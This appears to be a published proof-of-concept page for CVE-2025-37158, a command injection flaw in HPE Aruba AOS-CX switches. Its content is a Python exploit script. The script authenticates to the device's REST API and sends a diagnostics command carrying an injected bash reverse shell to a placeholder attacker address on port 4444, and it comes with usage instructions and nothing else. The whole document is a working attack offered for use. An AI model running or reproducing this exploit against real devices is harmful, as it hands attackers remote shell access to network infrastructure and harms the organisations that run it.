CVE-2025-37158: HPE Aruba AOS-CX 命令注入远程代码执行漏洞

#!/usr/bin/env python3 # CVE-2025-37158 PoC - HPE Aruba AOS-CX Command Injection # Usage: python3 cve-2025-37158.py <target_ip> <username> <password> import requests import sys import re def exploit_cve_2025_37158(target, username, password): """Exploit command injection in HPE Aruba AOS-CX""" # Login to get session token login_url = f"https://{target}/v1/api/login" login_data = { "userName": username, "password": password } try: session = requests.Session() resp = session.post(login_url, json=login_data, verify=False, timeout=10) if resp.status_code != 200: print(f"[-] Login failed: {resp.status_code}") return False # Command injection payload # Inject command to create a reverse shell inject_url = f"https://{target}/v1/api/diagnostics/command" payload = { "command": ";bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1", "timeout": 30 } headers = { "Content-Type": "application/json", "X-CSRF-Token": resp.headers.get("X-CSRF-Token", "") } print(f"[*] Sending command injection payload...") exploit_resp = session.post(inject_url, json=payload, headers=headers, verify=False, timeout=10) if exploit_resp.status_code == 200: print(f"[+] Command executed successfully!") print(f"[+] Response: {exploit_resp.text}") return True else: print(f"[-] Exploitation failed: {exploit_resp.status_code}") return False except requests.exceptions.RequestException as e: print(f"[-] Connection error: {e}") return False if __name__ == "__main__": if len(sys.argv) != 4: print(f"Usage: {sys.argv[0]} <target_ip> <username> <password>") sys.exit(1) target = sys.argv[1] username = sys.argv[2] password = sys.argv[3] print(f"[*] Targeting: {target}") print(f"[*] Authenticating as: {username}") exploit_cve_2025_37158(target, username, password)